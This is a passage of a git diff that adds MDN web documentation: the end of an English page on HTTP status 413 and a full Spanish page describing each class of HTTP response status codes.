+
+<p>The HTTP <code><strong>413 Payload Too Large</strong></code> response status code indicates that the request entity is larger than limits defined by server; the server might close the connection or return a {{HTTPHeader("Retry-After")}} header field.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">413 Payload Too Large</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/es/web/http/status/index.html b/files/es/web/http/status/index.html
new file mode 100644
index 0000000000..1db976d0af
--- /dev/null
+++ b/files/es/web/http/status/index.html
@@ -0,0 +1,192 @@
+---
+title: Códigos de estado de respuesta HTTP
+slug: Web/HTTP/Status
+tags:
+  - Códigos de estado
+  - HTTP
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/HTTP/Status
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Los códigos de estado de respuesta HTTP indican si se ha completado satisfactoriamente una solicitud HTTP específica. Las respuestas se agrupan en cinco clases:</p>
+
+<ol>
+ <li>Respuestas informativas <span class="seoSummary">(<code>100</code>–<code>199</code>),</span></li>
+ <li>Respuestas satisfactorias <span class="seoSummary">(<code>200</code>–<code>299</code>),</span></li>
+ <li>Redirecciones <span class="seoSummary">(<code>300</code>–<code>399</code>),</span></li>
+ <li>Errores de los clientes <span class="seoSummary">(<code>400</code>–<code>499</code>),</span></li>
+ <li>y errores de los servidores <span class="seoSummary">(<code>500</code>–<code>599</code>)</span>.</li>
+</ol>
+
+<p>Los códigos de estado se definen en la sección 10 de<a href="https://tools.ietf.org/html/rfc2616#section-10"> RFC 2616</a>. Puedes obtener las especificaciones actualizadas en <a href="https://tools.ietf.org/html/rfc7231#section-6.5.1">RFC 7231.</a></p>
+
+<h2 id="Respuestas_informativas">Respuestas informativas</h2>
+
+<dl>
+ <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
+ <dd>Esta respuesta provisional indica que todo hasta ahora está bien y que el cliente debe continuar con la solicitud o ignorarla si ya está terminada.</dd>
+ <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
+ <dd>Este código se envía en respuesta a un encabezado de solicitud {{HTTPHeader("Upgrade")}} por el cliente e indica que el servidor acepta el cambio de protocolo propuesto por el agente de usuario.</dd>
+ <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Este código indica que el servidor ha recibido la solicitud y aún se encuentra procesandola, por lo que no hay respuesta disponible.</dd>
+ <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt>
+ <dd>Este código de estado está pensado principalmente para ser usado con el encabezado {{HTTPHeader("Link")}}, permitiendo que el agente de usuario empiece a <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">pre-cargar</a> recursos mientras el servidor prepara una respuesta.</dd>
+</dl>
+
+<h2 id="Respuestas_satisfactorias">Respuestas satisfactorias</h2>
+
+<ul>
+ <li><code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span>GET</code>: El recurso se ha obtenido y se transmite en el cuerpo del mensaje.</li>
+ <li><code>HEAD</code>: Los encabezados de entidad están en el cuerpo del mensaje.</li>
+ <li><code>PUT</code> o <code>POST</code>: El recurso que describe el resultado de la acción se transmite en el cuerpo del mensaje.</li>
+ <li><code>TRACE</code>: El cuerpo del mensaje contiene el mensaje de solicitud recibido por el servidor.<span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></li>
+</ul>
+
+<dl>
+ <dt>{{HTTPStatus(200, "200 OK")}}</dt>
+ <dd>La solicitud ha tenido éxito. El significado de un éxito varía dependiendo del método HTTP:</dd>
+ <dt>{{HTTPStatus(201, "201 Created")}}</dt>
+ <dd>La solicitud ha tenido éxito y se ha creado un nuevo recurso como resultado de ello. Ésta es típicamente la respuesta enviada después de una petición PUT.</dd>
+ <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
+ <dd>La solicitud se ha recibido, pero aún no se ha actuado. Es una petición "sin compromiso", lo que significa que no hay manera en HTTP que permite enviar una respuesta asíncrona que indique el resultado del procesamiento de la solicitud. Está pensado para los casos en que otro proceso o servidor maneja la solicitud, o para el procesamiento por lotes.</dd>
+ <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
+ <dd>La petición se ha completado con éxito, pero su contenido no se ha obtenido de la fuente originalmente solicitada, sino que se recoge de una copia local o de un tercero. Excepto esta condición, se debe preferir una respuesta de 200 OK en lugar de esta respuesta.</dd>
+ <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
+ <dd>La petición se ha completado con éxito pero su respuesta no tiene ningún contenido, aunque los encabezados pueden ser útiles. El agente de usuario puede actualizar sus encabezados en caché para este recurso con los nuevos valores.</dd>
+ <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
+ <dd>La petición se ha completado con éxito, pero su respuesta no tiene contenidos y además, el agente de usuario tiene que inicializar la página desde la que se realizó la petición, este código es útil por ejemplo para páginas con formularios cuyo contenido debe borrarse después de que el usuario lo envíe.</dd>
+ <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
+ <dd>La petición servirá parcialmente el contenido solicitado. Esta característica es utilizada por herramientas de descarga como wget para continuar la transferencia de descargas anteriormente interrumpidas, o para dividir una descarga y procesar las partes simultáneamente.</dd>
+ <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Una respuesta Multi-Estado transmite información sobre varios recursos en situaciones en las que varios códigos de estado podrían ser apropiados. El cuerpo de la petición es un mensaje XML.</dd>
+ <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>El listado de elementos DAV ya se notificó previamente, por lo que no se van a volver a listar.</dd>
+ <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
+ <dd>El servidor ha cumplido una petición <code>GET</code> para el recurso y la respuesta es una representación del resultado de una o más manipulaciones de instancia aplicadas a la instancia actual.</dd>
+</dl>
+
+<h2 id="Redirecciones">Redirecciones</h2>
+
+<dl>
+ <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
+ <dd>Esta solicitud tiene más de una posible respuesta. User-Agent o el usuario debe escoger uno de ellos. No hay forma estandarizada de seleccionar una de las respuestas.</dd>
+ <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
+ <dd>Este código de respuesta significa que la URI  del recurso solicitado ha sido cambiado. Probablemente una nueva URI sea devuelta en la respuesta.</dd>
+ <dt>{{HTTPStatus(302, "302 Found")}}</dt>
+ <dd>Este código de respuesta significa que el recurso de la URI solicitada ha sido cambiado temporalmente. Nuevos cambios en la URI serán agregados en el futuro. Por lo tanto, la misma URI debe ser usada por el cliente en futuras solicitudes.</dd>
+ <dd></dd>
+ <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
+ <dd>El servidor envía esta respuesta para dirigir al cliente a un nuevo recurso solicitado a otra dirección usando una petición GET.</dd>
+ <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
+ <dd>Esta es usada para propósitos de "caché". Le indica al cliente que la respuesta no ha sido modificada. Entonces, el cliente puede continuar usando la misma versión almacenada en su caché.</dd>
+ <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt>
+ <dd>Fue definida en una versión previa de la especificación del protocolo HTTP para indicar que una respuesta solicitada debe ser accedida desde un proxy. Ha quedado obsoleta debido a preocupaciones de seguridad correspondientes a la configuración de un proxy.</dd>
+ <dt><code>306 unused</code></dt>
+ <dt></dt>
+ <dd>Este código de respuesta ya no es usado más. Actualmente se encuentra reservado. Fue usado en previas versiones de la especificación HTTP1.1.</dd>
+ <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
+ <dd>El servidor envía esta respuesta para dirigir al cliente a obtener el recurso solicitado a otra URI con el mismo método que se usó la petición anterior. Tiene la misma semántica que el código de respuesta HTTP <code>302 Found</code>, con la excepción de que el agente usuario <em>no debe</em> cambiar el método HTTP usado: si un <code>POST</code> fue usado en la primera petición, otro <code>POST</code> debe ser usado en la segunda petición.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
+ <dd>Significa que el recurso ahora se encuentra permanentemente en otra URI, especificada por la respuesta de encabezado HTTP <code>Location:</code>. Tiene la misma semántica que el código de respuesta HTTP <code>301 Moved Permanently</code>, con la excepción de que el agente usuario <em>no debe</em> cambiar el método HTTP usado: si un <code>POST</code> fue usado en la primera petición, otro <code>POST</code> debe ser usado en la segunda petición.</dd>
+</dl>
+
+<h2 id="Errores_de_cliente">Errores de cliente</h2>
+
+<dl>
+ <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
+ <dd>Esta respuesta significa que el servidor no pudo interpretar la solicitud dada una sintaxis inválida.</dd>
+ <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
+ <dd>Es necesario autenticar para obtener la respuesta solicitada. Esta es similar a 403, pero en este caso, la autenticación es posible.</dd>
+ <dt><code>402 Payment Required</code></dt>
+ <dd>Este código de respuesta está reservado para futuros usos. El objetivo inicial de crear este código fue para ser utilizado en sistemas digitales de pagos. Sin embargo, no está siendo usado actualmente.</dd>
+ <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
+ <dd>El cliente no posee los permisos necesarios para cierto contenido, por lo que el servidor está rechazando otorgar una respuesta apropiada.</dd>
+ <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
+ <dd>El servidor no pudo encontrar el contenido solicitado. Este código de respuesta es uno de los más famosos dada su alta ocurrencia en la web.</dd>
+ <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
+ <dd>El método solicitado es conocido por el servidor pero ha sido deshabilitado y no puede ser utilizado. Los dos métodos obligatorios, <code>GET</code> y <code>HEAD</code>, nunca deben ser deshabilitados y no deberían retornar este código de error.</dd>
+ <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt>
+ <dd>Esta respuesta es enviada cuando el servidor, después de aplicar una <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">negociación de contenido servidor-impulsado</a>, no encuentra ningún contenido seguido por la criteria dada por el usuario.</dd>
+ <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
+ <dd>Esto es similar al código 401, pero la autenticación debe estar hecha a partir de un proxy.</dd>
+ <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
+ <dd>Esta respuesta es enviada en una conexión inactiva en algunos servidores, incluso sin alguna petición previa por el cliente. Significa que el servidor quiere desconectar esta conexión sin usar. Esta respuesta es muy usada desde algunos navegadores, como Chrome, Firefox 27+, o IE9, usa mecanismos de pre-conexión HTTP para acelerar la navegación. También hay que tener en cuenta que algunos servidores simplemente desconecta la conexión sin enviar este mensaje.</dd>
+ <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
+ <dd>Esta respuesta puede ser enviada cuando una petición tiene conflicto con el estado actual del servidor.</dd>
+ <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
+ <dd>Esta respuesta puede ser enviada cuando el contenido solicitado ha sido borrado del servidor.</dd>
+ <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
+ <dd>El servidor rechaza la petición porque el campo de encabezado <code>Content-Length</code> no esta definido y el servidor lo requiere.</dd>
+ <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
+ <dd>El cliente ha indicado pre-condiciones en sus encabezados la cual el servidor no cumple.</dd>
+ <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
+ <dd>La entidad de petición es más larga que los límites definidos por el servidor; el servidor puede cerrar la conexión o retornar un campo de encabezado <code>Retry-After</code>.</dd>
+ <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
+ <dd>La URI solicitada por el cliente es más larga de lo que el servidor está dispuesto a interpretar.</dd>
+ <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
+ <dd>El formato multimedia de los datos solicitados no está soportado por el servidor, por lo cual el servidor rechaza la solicitud.</dd>
+ <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
+ <dd>El rango especificado por el campo de encabezado <code>Range</code> en la solicitud no cumple; es posible que el rango está fuera del tamaño de los datos objetivo del URI.</dd>
+ <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
+ <dd>Significa que la expectativa indicada por el campo de encabezado <code>Expect</code> solicitada no puede ser cumplida por el servidor.</dd>
+ <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
+ <dd>El servidor se rehúsa a intentar hacer café con una tetera.</dd>
+ <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
+ <dd>La petición fue dirigida a un servidor que no es capaz de producir una respuesta. Esto puede ser enviado por un servidor que no está configurado para producir respuestas por la combinación del esquema y la autoridad que están incluidos en la URI solicitada</dd>
+ <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>La petición estaba bien formada pero no se pudo seguir debido a errores de semántica.</dd>
+ <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>El recurso que está siendo accedido está bloqueado.</dd>
+ <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>La petición falló debido a una falla de una petición previa.</dd>
+ <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
+ <dd>El servidor se rehúsa a aplicar la solicitud usando el protocolo actual pero puede estar dispuesto a hacerlo después que el cliente se actualice a un protocolo diferente. El servidor envía un encabezado <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Upgrade</span></font> en una respuesta para indicar los protocolos requeridos.</dd>
+ <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
+ <dd>El servidor origen requiere que la solicitud sea condicional. Tiene la intención de prevenir problemas de 'actualización perdida', donde un cliente OBTIENE un estado del recurso, lo modifica, y lo PONE devuelta al servidor, cuando mientras un tercero ha modificado el estado del servidor, llevando a un conflicto.</dd>
+ <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
+ <dd>El usuario ha enviado demasiadas solicitudes en un periodo de tiempo dado.</dd>
+ <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
+ <dd>El servidor no está dispuesto a procesar la solicitud porque los campos de encabezado son demasiado largos. La solicitud PUEDE volver a subirse después de reducir el tamaño de los campos de encabezado solicitados.</dd>
+ <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
+ <dd>El usuario solicita un recurso ilegal, como alguna página web censurada por algún gobierno.</dd>
+</dl>
+
+<h2 id="Errores_de_servidor">Errores de servidor</h2>
+
+<dl>
+ <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
+ <dd>El servidor ha encontrado una situación que no sabe cómo manejarla.</dd>
+ <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
+ <dd>El método solicitado no está soportado por el servidor y no puede ser manejado. Los únicos métodos que los servidores requieren soporte (y por lo tanto no deben retornar este código) son <code>GET</code> y <code>HEAD</code>.</dd>
+ <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
+ <dd>Esta respuesta de error significa que el servidor, mientras trabaja como una puerta de enlace para obtener una respuesta necesaria para manejar la petición, obtuvo una respuesta inválida.</dd>
+ <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
+ <dd>El servidor no está listo para manejar la petición. Causas comunes puede ser que el servidor está caído por mantenimiento o está sobrecargado. Hay que tomar en cuenta que junto con esta respuesta, una página usuario-amigable explicando el problema debe ser enviada. Estas respuestas deben ser usadas para condiciones temporales y el encabezado HTTP <code>Retry-After:</code> debería, si es posible, contener el tiempo estimado antes de la recuperación del servicio. El webmaster debe también cuidar los encabezados relacionados al caché que son enviados junto a esta respuesta, ya que estas respuestas de condición temporal deben usualmente no estar en el caché.</dd>
+ <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
+ <dd>Esta respuesta de error es dada cuando el servidor está actuando como una puerta de enlace y no puede obtener una respuesta a tiempo.</dd>
+ <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
+ <dd>La versión de HTTP usada en la petición no está soportada por el servidor.</dd>
+ <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
+ <dd>El servidor tiene un error de configuración interna: negociación de contenido transparente para la petición resulta en una referencia circular.</dd>
+ <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
+ <dd>El servidor tiene un error de configuración interna: la variable de recurso escogida está configurada para acoplar la negociación de contenido transparente misma, y no es por lo tanto un punto final adecuado para el proceso de negociación.</dd>
+ <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>El servidor detectó un ciclo infinito mientras procesaba la solicitud.</dd>
+ <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
+ <dd>Extensiones adicionales para la solicitud son requeridas para que el servidor las cumpla.</dd>
+ <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
+ <dd>El código de estado 511 indica que el cliente necesita autenticar para ganar acceso a la red.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Anexo:C%C3%B3digos_de_estado_HTTP">Anexo:Códigos de estado HTTP</a></li>
+ <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li>
+ <li><a href="https://www.lucushost.com/blog/codigos-http-mas-comunes/">Códigos HTTP: Una guía con los códigos de estado más comunes</a></li>
+</ul>